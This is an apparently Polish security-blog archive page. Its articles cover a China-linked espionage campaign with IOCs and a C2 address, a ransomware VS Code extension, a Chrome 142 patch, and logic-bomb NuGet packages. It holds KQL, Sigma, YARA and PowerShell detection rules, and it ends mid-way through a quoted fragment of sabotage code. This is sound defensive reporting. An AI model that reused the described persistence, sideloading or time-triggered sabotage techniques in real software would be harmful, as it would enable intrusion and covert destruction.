Archiwa: PowerShell - Strona 26 z 32 - Security Bez Tabu

China-linked APT na celowniku: długotrwała kampania szpiegowska przeciwko amerykańskiej organizacji non-profit

Wprowadzenie do problemu / definicja luki

W kwietniu 2025 r. amerykańska organizacja non-profit, zaangażowana w kształtowanie polityki międzynarodowej USA, została cicho skompromitowana przez aktora powiązanego z ChRL. Napastnicy utrzymywali dostęp przez tygodnie, budując persystencję i przygotowując się do długoterminowej kradzieży informacji. Najważniejsze: wykorzystano DLL sideloading z legalnym plikiem vetysafe.exe, a także MSBuild i harmonogram zadań do “bezplikowego” uruchamiania kodu oraz zainteresowanie kontrolerami domeny (DC), sugerujące zamiar przejęcia środowiska AD. To wpisuje się w wieloletnie wzorce chińskich operacji wywiadowczych ukierunkowanych na podmioty mające wpływ na politykę USA.

W skrócie

  • Cel: amerykańska instytucja non-profit wpływająca na politykę zagraniczną USA.
  • Czas: pierwsze ślady 5 kwietnia 2025; intensywna aktywność 16 kwietnia; utrzymanie dostępu przez tygodnie.
  • Wejście: skan masowy pod znane RCE (m.in. Log4Shell, CVE-2022-26134 w Atlassian, Apache Struts CVE-2017-9805, GoAhead RCE), następnie rekonesans i budowa persystencji.
  • TTP: scheduled task uruchamiający msbuild.exe, DLL sideloading przez vetysafe.exe → złośliwy sbamres.dll, aktywność dcsync-like; obserwacja Imjpuexc.exe (legalny komponent IME dla języków azjatyckich) na hostach.
  • Atrybucja: zbieżność TTP/artefaktów z kampaniami Kelp/Salt Typhoon (Earth Estries), Space Pirates i Earth Longzhi (sub-grupa APT41); możliwe współdzielenie narzędzi.

Kontekst / historia / powiązania

Opisane techniki i pliki łączono wcześniej z chińskimi grupami: Kelp / Salt Typhoon (Earth Estries), Space Pirates oraz Earth Longzhi (sub-grupa APT41). W 2024–2025 r. Salt Typhoon była publicznie wiązana przez FBI/CISA z serią kompromitacji operatorów telekomunikacyjnych (setki celów, dziesiątki krajów), co pokazuje skalę zdolności i apetyt wywiadowczy. Jednocześnie Trend Micro szczegółowo dokumentował długotrwałe operacje Earth Estries oraz wcześniej aktywność Earth Longzhi.

Analiza techniczna / szczegóły luki

Łańcuch ataku (kill chain)

  1. Wejście / Discovery – 5.04.2025: automatyczne skany pod publiczne RCE (Log4Shell, Atlassian OGNL, Struts, GoAhead). Celem było znalezienie “słabego punktu” ekspozycji internetowej.
  2. Rekonesans sieciowy – 16.04.2025: seria poleceń curl (również do 192.0.0.88), testy łączności i pingowanie zasobów wewnętrznych; następnie netstat do enumeracji połączeń/procesów.
  3. Persystencja i wykonanie – utworzono zadanie zaplanowane \Microsoft\Windows\Ras\Outbound, co godzinę uruchamiające msbuild.exe jako SYSTEM z plikiem outbound.xml. Z niego ładowano kod do csc.exe, który łączył się z C2: http://38.180.83[.]166/6CDF0FC26CDF0FC2.
  4. Ładowanie ładunku – o 02:50 uruchomiono niestandardowy loader (SHA-256: f52b86...cb69), który odszyfrowywał i ładował w pamięci prawdopodobny RAT.
  5. Uprzywilejowanie/AD – obserwacje aktywności DCSync-like oraz obecność Imjpuexc.exe tego samego dnia; silny nacisk na DC i rozprzestrzenianie się w domenie.

DLL sideloading przez VipreAV

Napastnicy wykorzystali legalny komponent vetysafe.exe (podpis „Sunbelt Software, Inc.”) do wstrzyknięcia sbamres.dll. Ten mechanizm wcześniej widziano u aktorów z Chin (np. Space Pirates, Earth Longzhi/APT41) oraz w połączeniu z Deed RAT / Snappy Bee, współdzielonym przez kilka grup z ekosystemu PRC (m.in. Kelp/Salt Typhoon/Earth Estries).

IOC (wybór)

  • Imjpuexc.exe – SHA-256: 51ffcff8...c4d
  • msoutbound6f7f099d...50ed9
  • sbamres.dll99a0b424...b106 (łączony także z Space Pirates)
  • mmp.exe (DCSync) – dae63db9...61e2
  • vetysafe.exee356dbd3...65af2
  • msascui.exef52b86b5...cb69
  • C2: 38.180.83[.]166/6CDF0FC26CDF0FC2
    Źródło: analiza Broadcom/Symantec

Mapowanie do MITRE ATT&CK (skrócone)

  • Initial Access: Exploit Public-Facing Application (T1190)
  • Execution: MsBuild (T1127.001), Command & Scripting (T1059)
  • Persistence: Scheduled Task/Job (T1053.005)
  • Privilege Escalation / Defense Evasion: DLL Search Order Hijacking (T1574.001), Signed Binary Proxy Execution (T1218)
  • Credential Access: DCSync (T1003.006)
  • Discovery: Network Service Scanning (T1046), System Network Connections Discovery (T1049)
  • C2: Application Layer Protocol – HTTP (T1071.001)

Praktyczne konsekwencje / ryzyko

  • Think-tank effect: organizacje non-profit zajmujące się polityką są łakomym kąskiem — mają wrażliwe kontakty/dokumenty, ale zwykle mniejszy budżet bezpieczeństwa niż agencje rządowe.
  • AD-first kompromitacja: próby DCSync i zainteresowanie DC wskazują na dążenie do pełnej dominacji domeny i trwałej obecności.
  • Tool-sharing utrudnia atrybucję: współdzielenie łańcuchów ładowania (np. vetysafe.exe + sbamres.dll) między Kelp/Earth Estries, Space Pirates i APT41/Longzhi zmniejsza wartość pojedynczych IOC — trzeba koncentrować się na behawiorystyce i korelacjach.
  • Szerszy obraz: kampanie Salt Typhoon z 2024–2025 pokazały potencjał strategicznego podsłuchu i pivotu między sektorami (telco → polityka/public policy).

Rekomendacje operacyjne / co zrobić teraz

1) Szybka walidacja (IR triage)

EDR/SIEM – zapytania ad-hoc

  • KQL (Microsoft 365 Defender / Sentinel): wykrywanie zadań MSBuild jako SYSTEM
DeviceProcessEvents
| where FileName =~ "schtasks.exe" and ProcessCommandLine has_all ("\\Microsoft\\Windows\\Ras\\Outbound", "msbuild.exe")
or (FileName =~ "msbuild.exe" and InitiatingProcessIntegrityLevel =~ "System")
  • Sigma (Windows Process Creation) – MsBuild + DLL sideloading vipre
title: Suspicious MsBuild with Outbound XML and Vipre Sideloading
id: 1d1c0b5b-2a5b-4c2e-9d1c-apt-cn-msbuild-vipre
logsource: { category: process_creation, product: windows }
detection:
  sel1:
    Image|endswith: '\msbuild.exe'
    CommandLine|contains: 'outbound.xml'
  sel2:
    Image|endswith: '\vetysafe.exe'
  condition: sel1 or sel2
level: high
tags:
  - attack.execution.T1127.001
  - attack.defense_evasion.T1218
  • YARA (na sbamres.dll wg znanych hash):
rule SBAMRES_Suspicious_DLL
{
  meta:
    description = "Detect sbamres.dll linked in Symantec report"
    sha256_1 = "99a0b424bb3a6bbf60e972fd82c514fd971a948f9cedf3b9dc6b033117ecb106"
  condition:
    uint16(0) == 0x5A4D and sha256(0, filesize) == sha256_1
}
  • PowerShell: IOC sweep (hash + ścieżki)
$hashes = @(
"51ffcff8367b5723d62b3e3108e38fb7cbf36354e0e520e7df7c8a4f52645c4d",
"6f7f099d4c964948b0108b4e69c9e81b5fc5ff449f2fa8405950d41556850ed9",
"99a0b424bb3a6bbf60e972fd82c514fd971a948f9cedf3b9dc6b033117ecb106",
"dae63db9178c5f7fb5f982fbd89683dd82417f1672569fef2bbfef83bec961e2",
"e356dbd3bd62c19fa3ff8943fc73a4fab01a6446f989318b7da4abf48d565af2",
"f52b86b599d7168d3a41182ccd89165e0d1f2562aa7363e0718d502b7e3fcb69"
)
Get-ChildItem -Path C:\ -Recurse -ErrorAction SilentlyContinue |
  ForEach-Object {
    try {
      $h = Get-FileHash $_.FullName -Algorithm SHA256
      if ($hashes -contains $h.Hash) { $_.FullName }
    } catch {}
  }

(IOC pochodzą z publikacji Broadcom/Symantec).

2) Utrudnij techniki użyte w kampanii

  • Zablokuj sideloading: wdroż Application Control (WDAC/AppLocker) – zezwalaj na uruchamianie vetysafe.exe tylko z oczekiwanych katalogów i z poprawnym chain-of-trust; blokuj ładowanie niezaufanych DLL obok binariów vendorów AV.
  • Twarde zasady dla MSBuild: jeżeli niepotrzebny na stacjach/serwerach, blokuj msbuild.exe; w przeciwnym razie rejestruj i alertuj wykonywanie jako SYSTEM i z plikami .xml poza zaufanymi ścieżkami.
  • AD hardening: ogranicz DC replication permissions, monitoruj DSGetNCChanges/DCSync i nieużywane replication rights; wdroż tiering administracyjny i PAW dla kont uprzywilejowanych.
  • Egress control: blokuj ruch HTTP do 38.180.83.166 i wariantów ścieżek; wdroż proxy z inspekcją egress + DLP na ruch do nieznanych hostów.
  • Patch hygiene: ponieważ initial access mógł używać znanych RCE, włącz ataki priorytetowe (OGNL Atlassian CVE-2022-26134, Log4Shell, Struts 2017-9805, GoAhead 2017-17562) w planie poprawek oraz skany pre-/post-patch.

3) Dodatkowe zalecenia zgodne z wytycznymi rządowymi (Salt Typhoon)

  • Zgodnie z poradnikami CISA/FBI/NSA dot. Salt Typhoon: segmentacja krytycznych systemów, kontrola urządzeń brzegowych, rotacja poświadczeń, telemetry z routerów/telco, odseparowanie usług zarządzania i out-of-band management. Nawet jeśli nie jesteś telco, tradecraft przenika między sektorami.

Różnice / porównania z innymi przypadkami (jeśli dotyczy)

  • Telco 2024–2025 vs think-tank 2025: w telco dominował cel SIGINT/komunikacje (podsłuch, CDR, dane abonentów), tutaj – influence intelligence (dokumenty, korespondencja, mapy wpływów). Jednak techniki (MSBuild, sideloading, legalne binaria, długi dwell time) są spójne.
  • APT41/Earth Longzhi: ten klan od lat używa elastycznych łańcuchów ładowania i sideloadingu do ukrycia RAT-ów. Obecne artefakty (vetysafe.exe + sbamres.dll) mają historyczne analogie.
  • Earth Estries (Kelp/Salt Typhoon): Trend Micro pokazał długofalowe, “ciche” kampanie z własnymi backdoorami i użyciem SnappyBee/Deed RAT; wnioskiem jest współdzielenie toolingu między podgrupami i trudna atrybucja.

Podsumowanie / kluczowe wnioski

  • Atak na non-profit pokazuje, że organizacje kształtujące politykę są w orbicie zainteresowań aktorów państwowych z ChRL.
  • Behawiorystyka > IOC: z racji współdzielenia narzędzi, kluczem jest korelacja TTP (MSBuild + SYSTEM + harmonogram + sideloading Vipre).
  • AD to crown jewels: każda wzmianka o DCSync/replication powinna wywoływać high-severity IR.
  • Wdrożenia application control, detekcji living-off-the-land i telemetrii egress znacząco utrudniają powtórkę.

Źródła / bibliografia

  1. Broadcom/Symantec: China-linked Actors Maintain Focus on Organizations Influencing U.S. Policy (06.11.2025) – główne źródło analizy (TTP/IOC/czas). (security.com)
  2. SecurityAffairs: omówienie incydentu i streszczenie wniosków Symantec (08.11.2025). (Security Affairs)
  3. CISA/NSA/FBI: Countering Chinese State-Sponsored Actors… (27.08.2025) – kontekst Salt Typhoon i zalecenia strategiczne. (CISA)
  4. Trend Micro: Breaking Down Earth Estries’ Persistent TTPs… (08.11.2024) – tło dot. Earth Estries/Salt Typhoon/Deed RAT. (www.trendmicro.com)
  5. Trend Micro: Hack the Real Box: APT41’s New Subgroup Earth Longzhi (09.11.2022) – tło dot. Earth Longzhi/APT41. (www.trendmicro.com)

„Ransomvibing” w Marketplace VS Code: złośliwe rozszerzenie pokazuje, jak łatwo wpuścić ransomware do IDE

Wprowadzenie do problemu / definicja luki

Na Visual Studio Marketplace opublikowano rozszerzenie do VS Code, które wprost reklamowało funkcje „zipping, upload & encrypt”, po zainstalowaniu uruchamiało się automatycznie, a następnie pakowało, eksfiltrowało i szyfrowało pliki. Zjawisko ochrzczono „ransomvibing” – ransomware „vibe-coded”, czyli w dużej mierze sklejone promptami do LLM. Wpis badacza, który pierwszy opisał sprawę (Secure Annex), oraz relacje prasowe potwierdzają, że Microsoft usunął rozszerzenie z Marketplace po zgłoszeniu.


W skrócie

  • Złośliwy plugin VS Code został opublikowany pod nazwą wydawcy sugerującą „sus…” i opisem jednoznacznie wskazującym na eksfiltrację i szyfrowanie. Po zgłoszeniu zniknął z Marketplace, a Microsoft informuje, że takie pakiety po weryfikacji trafiają na blocklistę i są autoodinstalowane.
  • Implementacja zdradza ślady generowania kodu przez AI (obszerne komentarze, nielogiczne decyzje projektowe), łącznie z kuriozalnym wbudowaniem klucza deszyfrującego.
  • Kanał C2 oparto o prywatne repozytorium GitHub; rozszerzenie nasłuchiwało zmian i wykonywało polecenia. W opisie widniały także docelowe ścieżki do pakowania danych.
  • Incydent wpisuje się w szerszy trend AI-asystowanego malware (np. akademicki PoC „PromptLock/PromptLocker”).

Kontekst / historia / powiązania

Marketplace’y na narzędzia developerskie stają się łakomym kąskiem: poza fałszywymi wtyczkami do przeglądarek i IDE, branża obserwuje też złośliwe rozszerzenia VS Code i nieszczelne wydania z wyciekami sekretów. Dostawcy (w tym Microsoft) deklarują procesy moderacyjne, automatyczną dezinstalację zidentyfikowanych zagrożeń i link „Report abuse” na stronach rozszerzeń. Jednak incydenty – od kradzieży kodu źródłowego po cryptomining – pokazują, że sama kuratela nie wystarcza i wymaga defensywy po stronie organizacji.


Analiza techniczna / szczegóły luki

Składniki łańcucha ataku:

  1. Publikacja pluginu w Marketplace jako zwykłego rozszerzenia VS Code; opis nie krył funkcji „zip-upload-encrypt”.
  2. Automatyczna aktywacja (activation events „onStartupFinished”/„*”) – uruchomienie funkcji zipUploadAndEncrypt już przy instalacji/otwarciu edytora.
  3. Zbieranie danych – tworzenie archiwum ZIP wskazanego katalogu (np. C:\Users\Public\testing lub /tmp/testing w PoC).
  4. Eksfiltracja – wysyłka na zdalny serwer/C2; w tym przypadku GitHub (repo prywatne) jako boczny kanał poleceń (polling commitów).
  5. Szyfrowanie – zastąpienie plików wersjami zaszyfrowanymi; w kodzie widniał twardo zaszyty klucz deszyfrujący oraz dwa „decryptory” (Python/Node), co zdradza pośpieszne, AI-asystowane klejenie.

Artefakty i wskaźniki (IoC) do huntowania w orgu:

  • Nazwy: podejrzany wydawca o wzorcu „sus…”, funkcja zipUploadAndEncrypt, odwołania do index.html jako pseudo-kanału sterowania.
  • Aktywność sieciowa VS Code do domen GitHub/serwera C2 bez interakcji użytkownika (po starcie IDE).

Praktyczne konsekwencje / ryzyko

  • Obniżenie poprzeczki dla przestępców: LLM-y pozwalają szybko „wibrować” (vibe-code) działający, choć toporny kod ransomware. Amator może wrzucić POC do ekosystemu, w którym użytkownicy ufają dystrybucji rozszerzeń.
  • Ryzyko supply-chain: Auto-update rozszerzeń = ryzyko „one-click impact” lub nawet silent impact przy aktualizacji.
  • Trudność w detekcji: Aktywacja na eventach VS Code i C2 w GitHubie „zlewają się” z normalnym ruchem dev-toolingu.

Rekomendacje operacyjne / co zrobić teraz

1) Governance i polityki VS Code/Marketplace (Enterprise)

  • Wyłącz auto-aktualizacje rozszerzeń na poziomie orgu:
    settings.json (User/Workspace/Policy): { "extensions.autoUpdate": false, "extensions.autoCheckUpdates": false }
  • Wymuś allow-listę wydawców (rozszerzenia tylko ze sprawdzonej listy; w praktyce – własny mirror lub repo wewnętrzne).
  • Zablokuj dostęp do Marketplace na brzegu (proxy/NGFW/DNS): domeny marketplace.visualstudio.com, *.gallery.vsassets.io (tylko dla stacji dev bez zgody). Microsoft sam zaleca możliwość całkowitego blokowania Marketplace w środowiskach podwyższonego ryzyka.
  • W politykach MDM/Intune lub konfiguracji złotych obrazów wymuś zewnętrzne źródła rozszerzeń = off, instalacja tylko z pakietów zatwierdzonych.

2) Kontrola instalacji i inwentaryzacja

  • Zrzut listy rozszerzeń (CI lub skrypty pre-commit): # macOS/Linux code --list-extensions > extensions.txt # Windows (PowerShell) code --list-extensions | Out-File extensions.txt
  • Wymuś uninstall niezatwierdzonych: # przykład: masowa dezinstalacja wszystkiego spoza allow-listy allowed=$(cat allowlist.txt) for ext in $(code --list-extensions); do echo "$allowed" | grep -qx "$ext" || code --uninstall-extension "$ext" done
  • Ścieżki przeglądu kodu rozszerzeń:
    • Windows: %USERPROFILE%\.vscode\extensions\
    • Linux/macOS: ~/.vscode/extensions/

3) Detekcje / hunting (EDR/SIEM/Defender for Endpoint)

  • Reguła YARA (przykład PoC) na artefakty wspomniane publicznie: rule VSCode_Ransomvibe_PoC { meta: description = "Heurystyka: vibe-coded VSCode ransomware PoC" strings: $s1 = "zipUploadAndEncrypt" nocase $s2 = "index.html" ascii $s3 = "C:\\Users\\Public\\testing" ascii $s4 = "/tmp/testing" ascii condition: 2 of ($s*) } (dobierz do własnych TTP, nie traktuj jako sygnatury ostatecznej). Źródła publiczne wspominają zarówno nazwę funkcji, jak i ścieżki docelowe.
  • Reguła EDR (pseudo-KQL) – VS Code inicjuje ZIP + outbound do GitHub po starcie: DeviceProcessEvents | where InitiatingProcessFileName =~ "Code.exe" and (FileName in~ ("powershell.exe","zip.exe","node.exe","python.exe")) | where Timestamp between (SigninTime .. SigninTime + 5m) | join kind=leftouter DeviceNetworkEvents on DeviceId, InitiatingProcessId | where RemoteUrl endswith "github.com" or RemoteUrl endswith "githubusercontent.com" | summarize count() by DeviceName, InitiatingProcessCommandLine
  • Alerty na nietypowe „activation events” w package.json rozszerzeń (szczególnie „onStartupFinished”, „*”).

4) Hardening stacji developerskich

  • Least privilege (dev nie jest lokalnym adminem).
  • AppLocker/WDAC – lista dozwolonych interpreterów (Node/Python) uruchamianych z katalogów profilowych.
  • Segregacja danych – wartościowe repozytoria poza katalogami, do których VS Code ma pełny zapis bez kontroli.
  • Skanowanie tajemnic (pre-commit hooks, np. gitleaks) i DLP – ogranicza exfil wartościowych artefaktów, nawet jeśli dojdzie do ZIP/POST.

5) Reagowanie i odtwarzanie

  • W przypadku detekcji: izolacja hosta, inwentaryzacja zaszyfrowanych/wyeksfiltrowanych ścieżek, wymuszenie rotacji sekretów (tokeny w repo), zgłoszenie do zespołu PSIRT.
  • Backup i testy odtwarzania – szczególnie dla katalogów roboczych developerów.

Różnice / porównania z innymi przypadkami (jeśli dotyczy)

  • PromptLock / PromptLocker (NYU, PoC): akademicki projekt pokazał, że LLM może orkiestrwać pełny cykl ataku ransomware (od rekonesansu po szyfrowanie) – to dowód możliwości, nie kampania przestępcza. Incydent z rozszerzeniem VS Code jest praktycznym przykładem, że „AI-asystowana” implementacja potrafi trafić do zaufanego kanału dystrybucji.
  • Inne przypadki z VS Code: raporty branżowe z ostatnich tygodni wskazują na szkodliwe rozszerzenia kradnące kod i użycie Marketplace do dystrybucji – „ransomvibing” wpisuje się w ten trend, ale rzadko widziano tak jawnie opisane funkcje „encrypt/exfil”.

Podsumowanie / kluczowe wnioski

  1. Zaufanie do Marketplace ≠ bezpieczeństwo. Moderacja nie zastąpi kontroli organizacyjnej (allow-lista, mirror, polityki).
  2. AI obniża barierę wejścia – nawet amatorzy są w stanie złożyć „działający” ransomware i opublikować go w kanale enterprise-grade.
  3. Operationalize security w DevEx: inwentaryzacja rozszerzeń, EDR-hunting wokół VS Code i blokady sieciowe to dziś „must-have”.
  4. Przygotuj IR pod developerów: procedury odtwarzania stanowisk i rotacji sekretów po incydencie z IDE.

Źródła / bibliografia

  1. Dark Reading – opis incydentu, cytat Microsoftu, szczegóły publikacji i usunięcia rozszerzenia. (Dark Reading)
  2. Secure Annex (John Tuckner) – wpis badawczy opisujący „ransomvibe” i technikalia. (secureannex.com)
  3. The Hacker News – dodatkowe szczegóły dot. aktywacji, funkcji zipUploadAndEncrypt, ścieżek i usunięcia z Marketplace. (The Hacker News)
  4. Microsoft – dokumentacja/FAQ bezpieczeństwa rozszerzeń (blocklista, auto-uninstall). (Visual Studio Code)
  5. NYU Tandon / SecurityWeek – kontekst badań „PromptLock/PromptLocker” (LLM-orchestrated ransomware). (NYU Tandon School of Engineering)

Chrome 142: aktualizacja bezpieczeństwa łata 5 podatności (3 „High”), w tym WebGPU (CVE-2025-12725)

Wprowadzenie do problemu / definicja luki

Google wydało poprawkę bezpieczeństwa dla Chrome 142 usuwającą 5 podatności, z czego 3 mają wagę High. Najpoważniejsza z nich to błąd zapisu poza bufor (out-of-bounds write) w WebGPU – CVE-2025-12725, potencjalnie umożliwiający zdalne wykonanie kodu (RCE). Dodatkowo naprawiono błędy „inappropriate implementation” w Views (CVE-2025-12726) i V8 (CVE-2025-12727) oraz dwie usterki średniej wagi w Omnibox (CVE-2025-12728, CVE-2025-12729). Google nie raportuje na ten moment aktywnego wykorzystania tych luk. Oficjalne wersje z łatami to m.in. 142.0.7444.134/.135 dla Windows/Mac/Linux.


W skrócie

  • Zakres: 5 luk (3×High: WebGPU, Views, V8; 2×Medium: Omnibox).
  • Warianty wersji z poprawką: Windows/Mac 142.0.7444.134/.135, Linux 142.0.7444.134; rollout etapowy.
  • Eksploatacja „in the wild”: brak potwierdzenia.
  • Ryzyko praktyczne: możliwe RCE (WebGPU, V8), korupcja pamięci/stanów UI (Views), manipulacje paskiem adresu i scenariusze phishingowe (Omnibox).
  • Dla kogo priorytet: SOC/IT z dużym udziałem przeglądarki w łańcuchu pracy (SaaS, VDI, SSO, EDR w konsoli web), środowiska z WebGPU/AI w przeglądarce oraz parkiem rozszerzeń.

Kontekst / historia / powiązania

Chrome 142 został ogłoszony jako stabilny 28 października 2025 r., a kilka dni później wydano aktualizację stricte bezpieczeństwa dla desktopów ze zredukowanymi szczegółami do czasu, aż większość użytkowników się zaktualizuje (standardowa polityka). Wpis zespołu Chromium podaje listę CVE i numery wersji kanału stabilnego.


Analiza techniczna / szczegóły luki

1) WebGPU — CVE-2025-12725 (High, OOB write → RCE)

  • Natura błędu: out-of-bounds write w implementacji WebGPU (warstwa umożliwiająca stronom dostęp do GPU). Tego typu usterki to klasyczna korupcja pamięci — zapis poza przeznaczonym obszarem może prowadzić do crasha lub dowolnego wykonania kodu przy odpowiednio spreparowanych shaderach/buforach.
  • Implikacje praktyczne: złośliwe strony/aplikacje webowe uruchamiające obciążenia GPU (np. wizualizacje 3D/AI) mogą próbować eskalować błąd do RCE w procesie renderera; potencjalnie do piaskownicy, ale łańcuchy „renderer → browser” są znane z wcześniejszych kampanii. (Implikacja na bazie typologii błędu w Chrome i modelu procesów.)

2) Views — CVE-2025-12726 (High)

  • Opis: „inappropriate implementation” w frameworku Views (warstwa UI Chrome), niebezpieczne obchodzenie się z referencjami obiektów UI → możliwość korupcji pamięci po odwiedzeniu spreparowanej strony lub poprzez rozszerzenie.

3) V8 — CVE-2025-12727 (High)

  • Opis: błąd „inappropriate implementation” w silniku V8 (JS/WebAssembly). Tego rodzaju defekty (np. type confusion, błędy pamięci) są historycznie atrakcyjne do RCE przez skrypty na stronie.

4–5) Omnibox — CVE-2025-12728, CVE-2025-12729 (Medium)

  • Opis: „inappropriate implementation” w Omnibox (pasek adresu). Skutki to m.in. nadużycia UI lub błędne odwzorowanie danych, co w praktyce zwiększa ryzyko phishingu/redirectów i ataków „tapjacking”/„clickjacking” w interakcji z paskiem.

Tabela szybkiego mapowania (CVE → komponent → poziom):
CVE-2025-12725 (WebGPU, High), CVE-2025-12726 (Views, High), CVE-2025-12727 (V8, High), CVE-2025-12728 (Omnibox, Medium), CVE-2025-12729 (Omnibox, Medium).


Praktyczne konsekwencje / ryzyko

  • Atak RCE z poziomu strony: kombinacje luk WebGPU/V8 mogą umożliwić uruchomienie kodu w procesie renderera i potencjalny sandbox escape przy dodatkowych błędach (łańcuchy exploitów).
  • Manipulacja interfejsem i socjotechnika: błędy Omnibox podnoszą skuteczność kampanii phishingowych (maskowanie adresów, nieoczekiwane autouzupełnianie, przekierowania).
  • Ryzyko dla środowisk korporacyjnych: przeglądarka to największa powierzchnia ataku w organizacji; wiele zakładek/aktywnych skryptów zwiększa ekspozycję — stąd presja na szybkie wdrożenia poprawek.

Rekomendacje operacyjne / co zrobić teraz

1) Szybki update użytkownika końcowego

  • Ręcznie (GUI): Ustawienia → Informacje → Google Chrome (sprawdzenie/instalacja, restart).
  • Windows (Winget, CMD/PowerShell jako admin): winget upgrade --id Google.Chrome --source winget $v = (Get-Item "C:\Program Files\Google\Chrome\Application\chrome.exe").VersionInfo.ProductVersion Write-Host "Zainstalowana wersja Chrome: $v"
  • macOS (Homebrew): brew update && brew upgrade --cask google-chrome /Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --version
  • Linux (Debian/Ubuntu repo Google): sudo apt update && sudo apt install --only-upgrade google-chrome-stable google-chrome --version

Wersje docelowe: 142.0.7444.134/.135 (w zależności od OS, rollout etapowy).

2) Zarządzanie w organizacji (MDM/Intune/GPO)

  • Wymuś auto-update i restart przeglądarki:
    • GPO (Windows): wgraj najnowsze Chrome ADMX, ustaw:
      • Automatic Browser Updates Enabled = Enabled
      • Target version prefix = 142 (opcjonalnie, aby wymusić min. 142)
      • ComponentUpdatesEnabled = Enabled
      • RelaunchNotification = Required / deadline (np. 24h)
  • Microsoft Intune (Windows/macOS): profil konfiguracyjny z politykami Chrome; ustaw deadline na restart (np. 24–48 h) i Grace Period dla użytkownika.
  • macOS (Jamf/Munki/MDM): Payload z com.google.Keystone (auto-update), polityka wymuszająca relaunch po instalacji.
  • Linux (fleet): repo Google + „pin” wersji, zadanie cron/systemd na aktualizację dzienną.

3) Kontrola zgodności (detekcja niezałatanych hostów)

  • Skany bezpieczeństwa/Nessus/Qualys: użyj wtyczek/QL odpowiadających Chrome 142 (dla macOS/Windows). Przykładowo, Tenable identyfikuje podatność <142.0.7444.135.
  • Szybki skrypt inwentarzowy (Windows/PSRemoting): $computers = Get-Content .\workstations.txt Invoke-Command -ComputerName $computers -ScriptBlock { $p = "C:\Program Files\Google\Chrome\Application\chrome.exe" if (Test-Path $p) { (Get-Item $p).VersionInfo.ProductVersion } else { "Brak Chrome" } }
  • EDR/NDR: stwórz reguły detekcyjne na artefakty exploitów przeglądarkowych (crashe renderera, nieoczekiwane procesy child od Chrome).

4) Hardening przeglądarki (szczególnie do czasu pełnej adopcji)

  • Wyłącz WebGPU w środowiskach o podwyższonym ryzyku (tymczasowo): chrome://flags → Disable WebGPU lub polityka HardwareAccelerationModeEnabled = False (koszt: UX/perf).
  • Ogranicz rozszerzenia: allow-list, audyt uprawnień, blokada developer mode.
  • Zasady izolacji: włącz Site Isolation / Strict Origin Isolation dla aplikacji krytycznych.
  • Zachowania Omnibox: rozważ wyłączenie sugestii i autouzupełniania w stacjach o podwyższonym ryzyku (polityki Omnibox).

Różnice / porównania z innymi przypadkami (jeśli dotyczy)

  • Brak zero-day w tej fali (w odróżnieniu od poprzednich wydań z 2025 r., gdzie V8 bywał wykorzystywany „in the wild”). Obecna łatka dotyczy nowych CVE w 142 i nie ma wzmianki o aktywnej eksploatacji.
  • Komponenty: ponownie widzimy mieszankę błędów pamięci (WebGPU/V8) i błędów implementacyjnych UI (Views/Omnibox), co odpowiada trendom w złożonych przeglądarkach (warstwy grafiki + interfejs).

Podsumowanie / kluczowe wnioski

  • Zaktualizuj Chrome do 142.0.7444.134/.135 jak najszybciej; zdefiniuj deadline i wymuszony relaunch.
  • Monitoruj zgodność — hosty poniżej 142.0.7444.134/.135 są podatne; skanuj i raportuj odsetek niezałatanych.
  • Zarządzaj ryzykiem WebGPU/Omnibox (tymczasowe wyłączenia/ograniczenia), szczególnie w stacjach z wysoką ekspozycją web/AI.

Źródła / bibliografia

  1. Chrome Releases – Stable Channel Update for Desktop (142.0.7444.134/.135, 5 CVE, rollout i restrykcje szczegółów). (Chrome Releases)
  2. SecurityWeek – „Chrome 142 Update Patches High-Severity Flaws” (CVE, opis WebGPU, brak „in the wild”). (SecurityWeek)
  3. Tenable – Nessus Plugin 274070 (detekcja hostów <142.0.7444.135, lista CVE). (Tenable®)
  4. Chrome for Developers – Release notes 142 (data stabilnego wydania 28.10.2025). (Chrome for Developers)
  5. FortiGuard – wpis zbiorczy o lukach w Chrome 142 (mapowanie CVE/komponentów). (fortiguard.com)

Ukryte „logic bombs” w złośliwych pakietach NuGet: opóźniona destrukcja baz danych i systemów przemysłowych

Wprowadzenie do problemu / definicja luki

Badacze wykryli dziewięć złośliwych pakietów NuGet, które dostarczają opóźnione w czasie ładunki sabotażowe („logic bombs”). Pakiety udają w pełni działające biblioteki do dostępu do baz danych (SQL Server, PostgreSQL, SQLite), a jeden — Sharp7Extend — celuje w środowiska przemysłowe, modyfikując komunikację z PLC z rodziny Siemens S7. Po spełnieniu warunków czasowych kod losowo ubija proces aplikacji lub po cichu sabotuje operacje zapisu, przez co incydenty wyglądają jak losowe awarie albo błędy sprzętu. Źródłem informacji jest m.in. szczegółowa analiza Socket i artykuły branżowe, które opisały skalę i techniki ataku.


W skrócie

  • Wejście: pakiety opublikowane w latach 2023–2024 pod aliasem shanhai666 na NuGet, łącznie ~9,5 tys. pobrań.
  • Cel: aplikacje .NET wykorzystujące biblioteki repozytoriów DB i środowiska ICS/OT korzystające z komunikacji S7. Sharp7Extend podszywa się pod ekosystem Sharp7 (legalna biblioteka), by trafić do inżynierów automatyki.
  • Mechanizm: metoda rozszerzająca (C# extension methods) wstrzykuje logikę sprawdzania dat-wyzwalaczy; po ich przekroczeniu z prawdopodobieństwem ~20% wykonywane jest Process.Kill(); w ICS dodatkowo 80% „niemego” niepowodzenia zapisu po 30–90 minutach od startu.
  • Oś czasu: wyzwalacze ustawione m.in. na 8 sierpnia 2027 i 29 listopada 2028; Sharp7Extend działa natychmiast aż do 6 czerwca 2028.
  • Status: zgłoszono do NuGet; media branżowe donoszą o usuwaniu i śledztwie.

Kontekst / historia / powiązania

Ataki na łańcuch dostaw pakietów (npm, PyPI, NuGet) wykorzystują typosquatting, mieszanie legalnego i złośliwego kodu oraz „bombki” czasowe, by wydłużyć dwell time. Tutaj napastnik dostarczył 99% funkcjonalnego kodu zgodnego z wzorcami repozytorium/Unit of Work/LINQ, aby przejść code-review i testy smoke, a tylko ~20 linii realizuje sabotaż. Taka hybryda znacznie opóźnia wykrycie i utrudnia dochodzenie po latach.


Analiza techniczna / szczegóły luki

1) Wstrzyknięcie przez extension methods

Złośliwe pakiety dodają „przezroczyste” metody rozszerzające do typów poleceń DB i klienta S7 — np. .Exec() lub .BeginTran() — które wołają się przy każdym zapytaniu/operacji. Dzięki temu logika sabotażu wykonuje się w gorących ścieżkach I/O bez zmian w kodzie aplikacji:

public static class SqlCommandExtend {
    static int y = 2027, m = 8, d = 8; // trigger: 2027-08-08
    public static SqlCommand Exec(this SqlCommand cmd) {
